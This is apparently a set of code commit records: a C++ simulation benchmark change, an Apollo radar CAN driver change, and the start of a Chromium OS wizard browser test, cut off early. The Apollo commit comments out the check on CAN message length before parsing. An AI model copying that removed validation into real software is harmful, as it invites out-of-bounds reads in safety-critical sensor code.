m_phase;\n double m_simulation_duration;\n\n NormalPixel(const vle::Context& ctx)\n : AtomicModel(ctx, {\"0\"}, {\"0\"})\n , m_current_time(Infinity <double>::negative)\n , m_last_time(Infinity <double>::negative)\n , m_neighbour_number(0)\n , m_received(0)\n , m_total_received(0)\n , m_phase(WAIT)\n {\n try {\n m_simulation_duration = boost::any_cast <double>(ctx->get_user_data());\n } catch (const std::exception &e) {\n throw std::invalid_argument(\"Normal pixel can not read the \"\n \"simulation duration parameter\");\n }\n }\n\n virtual ~NormalPixel()\n {\n if (m_total_received != (m_simulation_duration * m_neighbour_number)) {\n vle_dbg(AtomicModel::ctx, \"\/!\\\\ [%s] failure: have received %\"\n PRIuMAX \" messages (%\" PRIuMAX \" expected)\\n\",\n m_name.c_str(),\n static_cast <std::uintmax_t>(m_total_received),\n static_cast <std::uintmax_t>(m_neighbour_number * 10));\n\n#ifdef NDEBUG\n throw std::runtime_error(\"Bad end\\n\");\n#endif\n }\n }\n\n virtual double init(const vle::Common& common,\n const double& t) override final\n {\n m_current_time = t;\n m_last_time = Infinity <double>::negative;\n\n try {\n m_id = boost::any_cast <int>(common.at(\"id\"));\n m_duration = boost::any_cast <long int>(common.at(\"duration\"));\n m_name = std::string(\"normal-\") +\n boost::any_cast <std::string>(common.at(\"name\"));\n m_neighbour_number =\n boost::any_cast <unsigned int>(common.at(\"neighbour_number\"));\n } catch (const std::exception &e) {\n throw std::invalid_argument(\"NormalPixel: failed to find duration,\"\n \"name or neighbour_number parameters\");\n }\n\n m_received = 0;\n m_total_received = 0;\n m_phase = WAIT;\n\n return Infinity <double>::positive;\n }\n\n virtual double delta(const double& time) override final\n {\n m_current_time += time;\n\n if (x.empty())\n dint(m_current_time);\n else\n dext(m_current_time);\n\n if (m_phase == WAIT)\n return Infinity <double>::positive;\n\n return 0.0;\n }\n\n void dint(const double& time)\n {\n vle_dbg(AtomicModel::ctx, \"[%s] dint at %f\\n\", m_name.c_str(), time);\n\n if (m_duration > 0)\n bench::sleep_and_work(m_duration);\n\n if (m_phase == SEND) {\n vle_dbg(AtomicModel::ctx, \"[%s] %\" PRIuMAX \"-%\" PRIuMAX\n \" (neighbour_number : %\" PRIuMAX \" expected)\\n\",\n m_name.c_str(),\n static_cast <std::uintmax_t>(m_received),\n static_cast <std::uintmax_t>(m_total_received),\n static_cast <std::uintmax_t>(m_neighbour_number *\n m_simulation_duration));\n\n m_phase = WAIT;\n m_total_received += m_received;\n m_received = 0;\n m_last_time = time;\n }\n }\n\n void dext(const double& time)\n {\n vle_dbg(AtomicModel::ctx, \"[%s] dext at %f (x[0].size: %\" PRIuMAX \" received: %\" PRIuMAX \" neighbour_number: %\" PRIuMAX \")\\n\",\n m_name.c_str(), time,\n static_cast <std::uintmax_t>(x[0].size()),\n static_cast <std::uintmax_t>(m_received),\n static_cast <std::uintmax_t>(m_neighbour_number));\n if (m_last_time == time) {\n vle_dbg(AtomicModel::ctx, \"\/!\\\\ [%s] oups at %f\", m_name.c_str(), time);\n throw std::runtime_error(\"Oups event\\n\");\n }\n\n for (size_t i = 0, e = x[0].size(); i != e; ++i)\n vle_dbg(AtomicModel::ctx, \"value: %d\\n\", x[0][i]);\n\n m_received += x[0].size();\n\n if (m_received == m_neighbour_number)\n m_phase = SEND;\n }\n\n virtual void lambda() const override final\n {\n if (m_phase == SEND) {\n vle_dbg(AtomicModel::ctx, \"[%s] lambda\\n\", m_name.c_str());\n\n y[0] = {m_id};\n }\n }\n};\n\ntemplate <typename T>\nstruct Coupled : T\n{\n std::string m_name;\n\n Coupled(const vle::Context& ctx)\n : T(ctx)\n {}\n\n Coupled(const vle::Context& ctx, unsigned thread_number)\n : T(ctx, thread_number)\n {}\n\n virtual ~Coupled()\n {}\n\n virtual void apply_common(const vle::Common& common) override\n {\n m_name = vle::common_get <std::string>(common, \"name\");\n }\n\n virtual vle::Common update_common(const vle::Common& common,\n const typename Coupled::vertices& v,\n const typename Coupled::edges& e,\n int child) override\n {\n auto mdl = v[child].get();\n\n unsigned int nb = std::accumulate(\n e.cbegin(), e.cend(),\n 0u, [&mdl](unsigned int x, const typename Coupled::edges::value_type& edge)\n {\n return edge.second.first == mdl ? x + 1u : x;\n });\n\n vle::Common ret(common);\n\n vle_dbg(T::ctx, \"[%s] init %s (%p) with %\" PRIuMAX \" neightbour\\n\",\n m_name.c_str(),\n vle::stringf(\"%s-%d\", m_name.c_str(), child).c_str(),\n mdl,\n static_cast <std::uintmax_t>(nb));\n\n ret[\"id\"] = child;\n ret[\"name\"] = vle::stringf(\"%s-%d\", m_name.c_str(), child);\n ret[\"neighbour_number\"] = nb;\n\n return std::move(ret);\n }\n};\n\ntemplate <typename T>\nstruct RootMPI : T\n{\n boost::mpi::communicator com;\n\n RootMPI(const vle::Context& ctx)\n : T(ctx)\n , com()\n {}\n\n virtual ~RootMPI()\n {}\n\n virtual vle::Common update_common(const vle::Common& common,\n const typename RootMPI::vertices& v,\n const typename RootMPI::edges& e,\n int child) override\n {\n (void)v;\n (void)e;\n\n if (com.size() <= child + 1)\n throw std::invalid_argument(\"MPI size < children size\");\n\n bench::SynchronousProxyModel* mdl =\n dynamic_cast\n <bench::SynchronousProxyModel*>(T::m_children[child].get());\n\n if (!mdl)\n throw std::invalid_argument(\"RootMPI without SynchronousProxyModel\");\n\n mdl->rank = child + 1;\n\n vle_info(T::ctx, \"RootMPI assign %d to child %d\\n\", mdl->rank, child);\n\n vle::Common ret(common);\n\n return std::move(ret);\n }\n};\n\ntemplate <typename T>\nstruct Root : T\n{\n Root(const vle::Context& ctx, unsigned thread_number)\n : T(ctx, thread_number)\n {}\n\n virtual ~Root()\n {}\n\n virtual vle::Common update_common(const vle::Common& common,\n const typename Root::vertices& v,\n const typename Root::edges& e,\n int child) override\n {\n vle::Common ret(common);\n\n auto mdl = v[child].get();\n unsigned int nb = std::accumulate(\n e.cbegin(), e.cend(),\n 0u, [&mdl](unsigned int x, const typename Root::edges::value_type& edge)\n {\n return edge.second.first == mdl ? x + 1u : x;\n });\n\n ret[\"id\"] = child;\n ret[\"name\"] = vle::stringf(\"S%d\", child);\n ret[\"neighbour_number\"] = nb;\n ret[\"tgf-filesource\"] = vle::stringf(\"S%d.tgf\", child);\n ret[\"tgf-format\"] = (int)1;\n\n return std::move(ret);\n }\n};\n\nusing RootThread = Root <GenericCoupledModelThread>;\nusing RootMono = Root <GenericCoupledModelMono>;\nusing RootMPIThread = RootMPI <GenericCoupledModelThread>;\nusing RootMPIMono = RootMPI <GenericCoupledModelMono>;\nusing CoupledThread = Coupled <GenericCoupledModelThread>;\nusing CoupledMono = Coupled <GenericCoupledModelMono>;\n\n}\n\n#endif\n<commit_msg>models: throw exception without NDEBUG<commit_after>\/*\n * Copyright (C) 2014 INRA\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND\n * FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,\n * OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifndef __Benchmark_models_hpp__\n#define __Benchmark_models_hpp__\n\n#include \"linpackc.hpp\"\n#include \"defs.hpp\"\n#include <vle\/mpi-synchronous.hpp>\n#include <vle\/utils.hpp>\n#include <fstream>\n#include <numeric>\n\nnamespace bench {\n\nstruct TopPixel : AtomicModel\n{\n int m_id;\n std::string m_name;\n long int m_duration;\n\n TopPixel(const vle::Context& ctx)\n : AtomicModel(ctx, {}, {\"0\"})\n {}\n\n virtual ~TopPixel()\n {}\n\n virtual double init(const vle::Common& common, const double&) override final\n {\n try {\n m_id = boost::any_cast <int>(common.at(\"id\"));\n m_name = std::string(\"top-\") + boost::any_cast <std::string>(common.at(\"name\"));\n m_duration = boost::any_cast <long int>(common.at(\"duration\"));\n } catch (const std::exception &e) {\n throw std::invalid_argument(\"TopPixel: failed to find name \"\n \"or duration parameters\");\n }\n\n return 0.0;\n }\n\n virtual double delta(const double&) override final\n {\n if (m_duration > 0)\n bench::sleep_and_work(m_duration);\n\n return 1.0;\n }\n\n virtual void lambda() const override final\n {\n vle_dbg(AtomicModel::ctx, \"[%s] lambda\\n\", m_name.c_str());\n\n y[0] = {m_id};\n }\n};\n\nstruct NormalPixel : AtomicModel\n{\n enum Phase { WAIT, SEND };\n\n int m_id;\n std::string m_name;\n double m_current_time;\n double m_last_time;\n long int m_duration;\n unsigned int m_neighbour_number;\n unsigned int m_received;\n unsigned int m_total_received;\n Phase m_phase;\n double m_simulation_duration;\n\n NormalPixel(const vle::Context& ctx)\n : AtomicModel(ctx, {\"0\"}, {\"0\"})\n , m_current_time(Infinity <double>::negative)\n , m_last_time(Infinity <double>::negative)\n , m_neighbour_number(0)\n , m_received(0)\n , m_total_received(0)\n , m_phase(WAIT)\n {\n try {\n m_simulation_duration = boost::any_cast <double>(ctx->get_user_data());\n } catch (const std::exception &e) {\n throw std::invalid_argument(\"Normal pixel can not read the \"\n \"simulation duration parameter\");\n }\n }\n\n virtual ~NormalPixel()\n {\n if (m_total_received != (m_simulation_duration * m_neighbour_number)) {\n vle_dbg(AtomicModel::ctx, \"\/!\\\\ [%s] failure: have received %\"\n PRIuMAX \" messages (%\" PRIuMAX \" expected)\\n\",\n m_name.c_str(),\n static_cast <std::uintmax_t>(m_total_received),\n static_cast <std::uintmax_t>(m_neighbour_number * 10));\n\n\/\/#ifdef NDEBUG\n throw std::runtime_error(\"Bad end\\n\");\n\/\/#endif\n }\n }\n\n virtual double init(const vle::Common& common,\n const double& t) override final\n {\n m_current_time = t;\n m_last_time = Infinity <double>::negative;\n\n try {\n m_id = boost::any_cast <int>(common.at(\"id\"));\n m_duration = boost::any_cast <long int>(common.at(\"duration\"));\n m_name = std::string(\"normal-\") +\n boost::any_cast <std::string>(common.at(\"name\"));\n m_neighbour_number =\n boost::any_cast <unsigned int>(common.at(\"neighbour_number\"));\n } catch (const std::exception &e) {\n throw std::invalid_argument(\"NormalPixel: failed to find duration,\"\n \"name or neighbour_number parameters\");\n }\n\n m_received = 0;\n m_total_received = 0;\n m_phase = WAIT;\n\n return Infinity <double>::positive;\n }\n\n virtual double delta(const double& time) override final\n {\n m_current_time += time;\n\n if (x.empty())\n dint(m_current_time);\n else\n dext(m_current_time);\n\n if (m_phase == WAIT)\n return Infinity <double>::positive;\n\n return 0.0;\n }\n\n void dint(const double& time)\n {\n vle_dbg(AtomicModel::ctx, \"[%s] dint at %f\\n\", m_name.c_str(), time);\n\n if (m_duration > 0)\n bench::sleep_and_work(m_duration);\n\n if (m_phase == SEND) {\n vle_dbg(AtomicModel::ctx, \"[%s] %\" PRIuMAX \"-%\" PRIuMAX\n \" (neighbour_number : %\" PRIuMAX \" expected)\\n\",\n m_name.c_str(),\n static_cast <std::uintmax_t>(m_received),\n static_cast <std::uintmax_t>(m_total_received),\n static_cast <std::uintmax_t>(m_neighbour_number *\n m_simulation_duration));\n\n m_phase = WAIT;\n m_total_received += m_received;\n m_received = 0;\n m_last_time = time;\n }\n }\n\n void dext(const double& time)\n {\n vle_dbg(AtomicModel::ctx, \"[%s] dext at %f (x[0].size: %\" PRIuMAX \" received: %\" PRIuMAX \" neighbour_number: %\" PRIuMAX \")\\n\",\n m_name.c_str(), time,\n static_cast <std::uintmax_t>(x[0].size()),\n static_cast <std::uintmax_t>(m_received),\n static_cast <std::uintmax_t>(m_neighbour_number));\n if (m_last_time == time) {\n vle_dbg(AtomicModel::ctx, \"\/!\\\\ [%s] oups at %f\", m_name.c_str(), time);\n throw std::runtime_error(\"Oups event\\n\");\n }\n\n for (size_t i = 0, e = x[0].size(); i != e; ++i)\n vle_dbg(AtomicModel::ctx, \"value: %d\\n\", x[0][i]);\n\n m_received += x[0].size();\n\n if (m_received == m_neighbour_number)\n m_phase = SEND;\n }\n\n virtual void lambda() const override final\n {\n if (m_phase == SEND) {\n vle_dbg(AtomicModel::ctx, \"[%s] lambda\\n\", m_name.c_str());\n\n y[0] = {m_id};\n }\n }\n};\n\ntemplate <typename T>\nstruct Coupled : T\n{\n std::string m_name;\n\n Coupled(const vle::Context& ctx)\n : T(ctx)\n {}\n\n Coupled(const vle::Context& ctx, unsigned thread_number)\n : T(ctx, thread_number)\n {}\n\n virtual ~Coupled()\n {}\n\n virtual void apply_common(const vle::Common& common) override\n {\n m_name = vle::common_get <std::string>(common, \"name\");\n }\n\n virtual vle::Common update_common(const vle::Common& common,\n const typename Coupled::vertices& v,\n const typename Coupled::edges& e,\n int child) override\n {\n auto mdl = v[child].get();\n\n unsigned int nb = std::accumulate(\n e.cbegin(), e.cend(),\n 0u, [&mdl](unsigned int x, const typename Coupled::edges::value_type& edge)\n {\n return edge.second.first == mdl ? x + 1u : x;\n });\n\n vle::Common ret(common);\n\n vle_dbg(T::ctx, \"[%s] init %s (%p) with %\" PRIuMAX \" neightbour\\n\",\n m_name.c_str(),\n vle::stringf(\"%s-%d\", m_name.c_str(), child).c_str(),\n mdl,\n static_cast <std::uintmax_t>(nb));\n\n ret[\"id\"] = child;\n ret[\"name\"] = vle::stringf(\"%s-%d\", m_name.c_str(), child);\n ret[\"neighbour_number\"] = nb;\n\n return std::move(ret);\n }\n};\n\ntemplate <typename T>\nstruct RootMPI : T\n{\n boost::mpi::communicator com;\n\n RootMPI(const vle::Context& ctx)\n : T(ctx)\n , com()\n {}\n\n virtual ~RootMPI()\n {}\n\n virtual vle::Common update_common(const vle::Common& common,\n const typename RootMPI::vertices& v,\n const typename RootMPI::edges& e,\n int child) override\n {\n (void)v;\n (void)e;\n\n if (com.size() <= child + 1)\n throw std::invalid_argument(\"MPI size < children size\");\n\n bench::SynchronousProxyModel* mdl =\n dynamic_cast\n <bench::SynchronousProxyModel*>(T::m_children[child].get());\n\n if (!mdl)\n throw std::invalid_argument(\"RootMPI without SynchronousProxyModel\");\n\n mdl->rank = child + 1;\n\n vle_info(T::ctx, \"RootMPI assign %d to child %d\\n\", mdl->rank, child);\n\n vle::Common ret(common);\n\n return std::move(ret);\n }\n};\n\ntemplate <typename T>\nstruct Root : T\n{\n Root(const vle::Context& ctx, unsigned thread_number)\n : T(ctx, thread_number)\n {}\n\n virtual ~Root()\n {}\n\n virtual vle::Common update_common(const vle::Common& common,\n const typename Root::vertices& v,\n const typename Root::edges& e,\n int child) override\n {\n vle::Common ret(common);\n\n auto mdl = v[child].get();\n unsigned int nb = std::accumulate(\n e.cbegin(), e.cend(),\n 0u, [&mdl](unsigned int x, const typename Root::edges::value_type& edge)\n {\n return edge.second.first == mdl ? x + 1u : x;\n });\n\n ret[\"id\"] = child;\n ret[\"name\"] = vle::stringf(\"S%d\", child);\n ret[\"neighbour_number\"] = nb;\n ret[\"tgf-filesource\"] = vle::stringf(\"S%d.tgf\", child);\n ret[\"tgf-format\"] = (int)1;\n\n return std::move(ret);\n }\n};\n\nusing RootThread = Root <GenericCoupledModelThread>;\nusing RootMono = Root <GenericCoupledModelMono>;\nusing RootMPIThread = RootMPI <GenericCoupledModelThread>;\nusing RootMPIMono = RootMPI <GenericCoupledModelMono>;\nusing CoupledThread = Coupled <GenericCoupledModelThread>;\nusing CoupledMono = Coupled <GenericCoupledModelMono>;\n\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n\/**\n * @file conti_radar_message_manager.h\n * @brief The class of ContiRadarMessageManager\n *\/\n\n#include \"modules\/drivers\/conti_radar\/conti_radar_message_manager.h\"\n\n#include \"modules\/drivers\/conti_radar\/protocol\/cluster_general_info_701.h\"\n#include \"modules\/drivers\/conti_radar\/protocol\/cluster_list_status_600.h\"\n#include \"modules\/drivers\/conti_radar\/protocol\/cluster_quality_info_702.h\"\n#include \"modules\/drivers\/conti_radar\/protocol\/object_extended_info_60d.h\"\n#include \"modules\/drivers\/conti_radar\/protocol\/object_general_info_60b.h\"\n#include \"modules\/drivers\/conti_radar\/protocol\/object_list_status_60a.h\"\n#include \"modules\/drivers\/conti_radar\/protocol\/object_quality_info_60c.h\"\n#include \"modules\/drivers\/conti_radar\/protocol\/radar_state_201.h\"\n\nnamespace apollo {\nnamespace drivers {\nnamespace conti_radar {\n\nusing ::apollo::common::adapter::AdapterManager;\n\nContiRadarMessageManager::ContiRadarMessageManager() {\n AddRecvProtocolData<RadarState201, true>();\n AddRecvProtocolData<ClusterListStatus600, true>();\n AddRecvProtocolData<ClusterGeneralInfo701, true>();\n AddRecvProtocolData<ClusterQualityInfo702, true>();\n AddRecvProtocolData<ObjectExtendedInfo60D, true>();\n AddRecvProtocolData<ObjectGeneralInfo60B, true>();\n AddRecvProtocolData<ObjectListStatus60A, true>();\n AddRecvProtocolData<ObjectQualityInfo60C, true>();\n}\n\nvoid ContiRadarMessageManager::set_radar_conf(RadarConf radar_conf) {\n radar_config_.set_radar_conf(radar_conf);\n}\n\nvoid ContiRadarMessageManager::set_can_client(\n std::shared_ptr<CanClient> can_client) {\n can_client_ = can_client;\n}\n\nProtocolData<ContiRadar> *ContiRadarMessageManager::GetMutableProtocolDataById(\n const uint32_t message_id) {\n uint32_t converted_message_id = message_id;\n if (protocol_data_map_.find(converted_message_id) ==\n protocol_data_map_.end()) {\n ADEBUG << \"Unable to get protocol data because of invalid message_id:\"\n << message_id;\n return nullptr;\n }\n return protocol_data_map_[converted_message_id];\n}\n\nvoid ContiRadarMessageManager::Parse(const uint32_t message_id,\n const uint8_t *data, int32_t length) {\n if (length != ::apollo::drivers::canbus::CANBUS_MESSAGE_LENGTH) {\n AERROR << \"Incorrect ContiRadar message length, length:\" << length\n << \" required length: \"\n << ::apollo::drivers::canbus::CANBUS_MESSAGE_LENGTH;\n return;\n }\n\n ProtocolData<ContiRadar> *sensor_protocol_data =\n GetMutableProtocolDataById(message_id);\n if (sensor_protocol_data == nullptr) {\n return;\n }\n\n std::lock_guard<std::mutex> lock(sensor_data_mutex_);\n if (!is_configured_ && message_id != 0x201) {\n \/\/ read radar state message first\n return;\n }\n\n \/\/ trigger publishment\n if (message_id == 0x600 || message_id == 0x60A) {\n ADEBUG << sensor_data_.ShortDebugString();\n\n if (sensor_data_.contiobs_size() <=\n sensor_data_.object_list_status().nof_objects()) {\n \/\/ maybe lost a object_list_status msg\n AdapterManager::PublishContiRadar(sensor_data_);\n }\n sensor_data_.Clear();\n \/\/ fill header when recieve the general info message\n AdapterManager::FillContiRadarHeader(FLAGS_sensor_node_name, &sensor_data_);\n }\n\n sensor_protocol_data->Parse(data, length, &sensor_data_);\n\n if (message_id == 0x201) {\n ADEBUG << sensor_data_.ShortDebugString();\n if (sensor_data_.radar_state().send_quality() ==\n radar_config_.radar_conf().send_quality() &&\n sensor_data_.radar_state().send_ext_info() ==\n radar_config_.radar_conf().send_ext_info() &&\n sensor_data_.radar_state().max_distance() ==\n radar_config_.radar_conf().max_distance() &&\n sensor_data_.radar_state().output_type() ==\n radar_config_.radar_conf().output_type() &&\n sensor_data_.radar_state().rcs_threshold() ==\n radar_config_.radar_conf().rcs_threshold() &&\n sensor_data_.radar_state().radar_power() ==\n radar_config_.radar_conf().radar_power()) {\n is_configured_ = true;\n } else {\n AINFO << \"configure radar again\";\n SenderMessage<ContiRadar> sender_message(RadarConfig200::ID,\n &radar_config_);\n sender_message.Update();\n can_client_->SendSingleFrame({sender_message.CanFrame()});\n }\n }\n\n received_ids_.insert(message_id);\n \/\/ check if need to check period\n const auto it = check_ids_.find(message_id);\n if (it != check_ids_.end()) {\n const int64_t time = apollo::common::time::AsInt64<micros>(Clock::Now());\n it->second.real_period = time - it->second.last_time;\n \/\/ if period 1.5 large than base period, inc error_count\n const double period_multiplier = 1.5;\n if (it->second.real_period > (it->second.period * period_multiplier)) {\n it->second.error_count += 1;\n } else {\n it->second.error_count = 0;\n }\n it->second.last_time = time;\n }\n}\n\n} \/\/ namespace conti_radar\n} \/\/ namespace drivers\n} \/\/ namespace apollo\n<commit_msg>conti_radar : temporary disable length check<commit_after>\/******************************************************************************\n * Copyright 2017 The Apollo Authors. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *****************************************************************************\/\n\n\/**\n * @file conti_radar_message_manager.h\n * @brief The class of ContiRadarMessageManager\n *\/\n\n#include \"modules\/drivers\/conti_radar\/conti_radar_message_manager.h\"\n\n#include \"modules\/drivers\/conti_radar\/protocol\/cluster_general_info_701.h\"\n#include \"modules\/drivers\/conti_radar\/protocol\/cluster_list_status_600.h\"\n#include \"modules\/drivers\/conti_radar\/protocol\/cluster_quality_info_702.h\"\n#include \"modules\/drivers\/conti_radar\/protocol\/object_extended_info_60d.h\"\n#include \"modules\/drivers\/conti_radar\/protocol\/object_general_info_60b.h\"\n#include \"modules\/drivers\/conti_radar\/protocol\/object_list_status_60a.h\"\n#include \"modules\/drivers\/conti_radar\/protocol\/object_quality_info_60c.h\"\n#include \"modules\/drivers\/conti_radar\/protocol\/radar_state_201.h\"\n\nnamespace apollo {\nnamespace drivers {\nnamespace conti_radar {\n\nusing ::apollo::common::adapter::AdapterManager;\n\nContiRadarMessageManager::ContiRadarMessageManager() {\n AddRecvProtocolData<RadarState201, true>();\n AddRecvProtocolData<ClusterListStatus600, true>();\n AddRecvProtocolData<ClusterGeneralInfo701, true>();\n AddRecvProtocolData<ClusterQualityInfo702, true>();\n AddRecvProtocolData<ObjectExtendedInfo60D, true>();\n AddRecvProtocolData<ObjectGeneralInfo60B, true>();\n AddRecvProtocolData<ObjectListStatus60A, true>();\n AddRecvProtocolData<ObjectQualityInfo60C, true>();\n}\n\nvoid ContiRadarMessageManager::set_radar_conf(RadarConf radar_conf) {\n radar_config_.set_radar_conf(radar_conf);\n}\n\nvoid ContiRadarMessageManager::set_can_client(\n std::shared_ptr<CanClient> can_client) {\n can_client_ = can_client;\n}\n\nProtocolData<ContiRadar> *ContiRadarMessageManager::GetMutableProtocolDataById(\n const uint32_t message_id) {\n uint32_t converted_message_id = message_id;\n if (protocol_data_map_.find(converted_message_id) ==\n protocol_data_map_.end()) {\n ADEBUG << \"Unable to get protocol data because of invalid message_id:\"\n << message_id;\n return nullptr;\n }\n return protocol_data_map_[converted_message_id];\n}\n\nvoid ContiRadarMessageManager::Parse(const uint32_t message_id,\n const uint8_t *data, int32_t length) {\n \/*\nif (length != ::apollo::drivers::canbus::CANBUS_MESSAGE_LENGTH) {\nAERROR << \"Incorrect ContiRadar message length, length:\" << length\n<< \" required length: \"\n<< ::apollo::drivers::canbus::CANBUS_MESSAGE_LENGTH;\nreturn;\n}\n*\/\n ProtocolData<ContiRadar> *sensor_protocol_data =\n GetMutableProtocolDataById(message_id);\n if (sensor_protocol_data == nullptr) {\n return;\n }\n\n std::lock_guard<std::mutex> lock(sensor_data_mutex_);\n if (!is_configured_ && message_id != 0x201) {\n \/\/ read radar state message first\n return;\n }\n\n \/\/ trigger publishment\n if (message_id == 0x600 || message_id == 0x60A) {\n ADEBUG << sensor_data_.ShortDebugString();\n\n if (sensor_data_.contiobs_size() <=\n sensor_data_.object_list_status().nof_objects()) {\n \/\/ maybe lost a object_list_status msg\n AdapterManager::PublishContiRadar(sensor_data_);\n }\n sensor_data_.Clear();\n \/\/ fill header when recieve the general info message\n AdapterManager::FillContiRadarHeader(FLAGS_sensor_node_name, &sensor_data_);\n }\n\n sensor_protocol_data->Parse(data, length, &sensor_data_);\n\n if (message_id == 0x201) {\n ADEBUG << sensor_data_.ShortDebugString();\n if (sensor_data_.radar_state().send_quality() ==\n radar_config_.radar_conf().send_quality() &&\n sensor_data_.radar_state().send_ext_info() ==\n radar_config_.radar_conf().send_ext_info() &&\n sensor_data_.radar_state().max_distance() ==\n radar_config_.radar_conf().max_distance() &&\n sensor_data_.radar_state().output_type() ==\n radar_config_.radar_conf().output_type() &&\n sensor_data_.radar_state().rcs_threshold() ==\n radar_config_.radar_conf().rcs_threshold() &&\n sensor_data_.radar_state().radar_power() ==\n radar_config_.radar_conf().radar_power()) {\n is_configured_ = true;\n } else {\n AINFO << \"configure radar again\";\n SenderMessage<ContiRadar> sender_message(RadarConfig200::ID,\n &radar_config_);\n sender_message.Update();\n can_client_->SendSingleFrame({sender_message.CanFrame()});\n }\n }\n\n received_ids_.insert(message_id);\n \/\/ check if need to check period\n const auto it = check_ids_.find(message_id);\n if (it != check_ids_.end()) {\n const int64_t time = apollo::common::time::AsInt64<micros>(Clock::Now());\n it->second.real_period = time - it->second.last_time;\n \/\/ if period 1.5 large than base period, inc error_count\n const double period_multiplier = 1.5;\n if (it->second.real_period > (it->second.period * period_multiplier)) {\n it->second.error_count += 1;\n } else {\n it->second.error_count = 0;\n }\n it->second.last_time = time;\n }\n}\n\n} \/\/ namespace conti_radar\n} \/\/ namespace drivers\n} \/\/ namespace apollo\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"app\/l10n_util.h\"\n#include \"chrome\/browser\/browser_process.h\"\n#include \"chrome\/browser\/chromeos\/login\/account_screen.h\"\n#include \"chrome\/browser\/chromeos\/login\/language_switch_model.h\"\n#include \"chrome\/browser\/chromeos\/login\/mock_update_screen.h\"\n#include \"chrome\/browser\/chromeos\/login\/network_screen.h\"\n#include \"chrome\/browser\/chromeos\/login\/network_selection_view.h\"\n#include \"chrome\/browser\/chromeos\/login\/wizard_controller.h\"\n#include \"chrome\/browser\/chromeos\/login\/wizard_in_process_browser_test.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/notification_service.h\"\n#include \"chrome\/test\/ui_test_utils.h\"\n#include \"grit\/generated_resources.h\"\n#include \"testing\/gmock\/include\/gmock\/gmock.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n#include \"unicode\/locid.h\"\n\nnamespace {\n\ntemplate <class T>\nclass MockOutShowHide : public T {\n public:\n template <class P> MockOutShowHide(P p) : T(p) {}\n template <class P1, class P2> MockOutShowHide(P1 p1, P2 p2) : T(p1, p2) {}\n MOCK_METHOD0(Show, void());\n MOCK_METHOD0(Hide, void());\n};\n\ntemplate <class T>\nstruct CreateMockWizardScreenHelper {\n static MockOutShowHide<T>* Create(WizardController* wizard);\n};\n\ntemplate <class T> MockOutShowHide<T>*\nCreateMockWizardScreenHelper<T>::Create(WizardController* wizard) {\n return new MockOutShowHide<T>(wizard);\n}\n\ntemplate <> MockOutShowHide<chromeos::NetworkScreen>*\nCreateMockWizardScreenHelper<chromeos::NetworkScreen>::Create(\n WizardController* wizard) {\n return new MockOutShowHide<chromeos::NetworkScreen>(wizard, true);\n}\n\n#define MOCK(mock_var, screen_name, mocked_class) \\\n mock_var = CreateMockWizardScreenHelper<mocked_class>::Create(controller()); \\\n controller()->screen_name.reset(mock_var); \\\n EXPECT_CALL(*mock_var, Show()).Times(0); \\\n EXPECT_CALL(*mock_var, Hide()).Times(0);\n\n} \/\/ namespace\n\nclass WizardControllerTest : public chromeos::WizardInProcessBrowserTest {\n protected:\n WizardControllerTest() : chromeos::WizardInProcessBrowserTest(\n WizardController::kTestNoScreenName) {}\n virtual ~WizardControllerTest() {}\n\n private:\n DISALLOW_COPY_AND_ASSIGN(WizardControllerTest);\n};\n\nIN_PROC_BROWSER_TEST_F(WizardControllerTest, SwitchLanguage) {\n WizardController* const wizard = controller();\n ASSERT_TRUE(wizard != NULL);\n wizard->ShowFirstScreen(WizardController::kOutOfBoxScreenName);\n views::View* current_screen = wizard->contents();\n ASSERT_TRUE(current_screen != NULL);\n\n \/\/ Checking the default locale. Provided that the profile is cleared in SetUp.\n EXPECT_EQ(\"en-US\", g_browser_process->GetApplicationLocale());\n EXPECT_STREQ(\"en\", icu::Locale::getDefault().getLanguage());\n 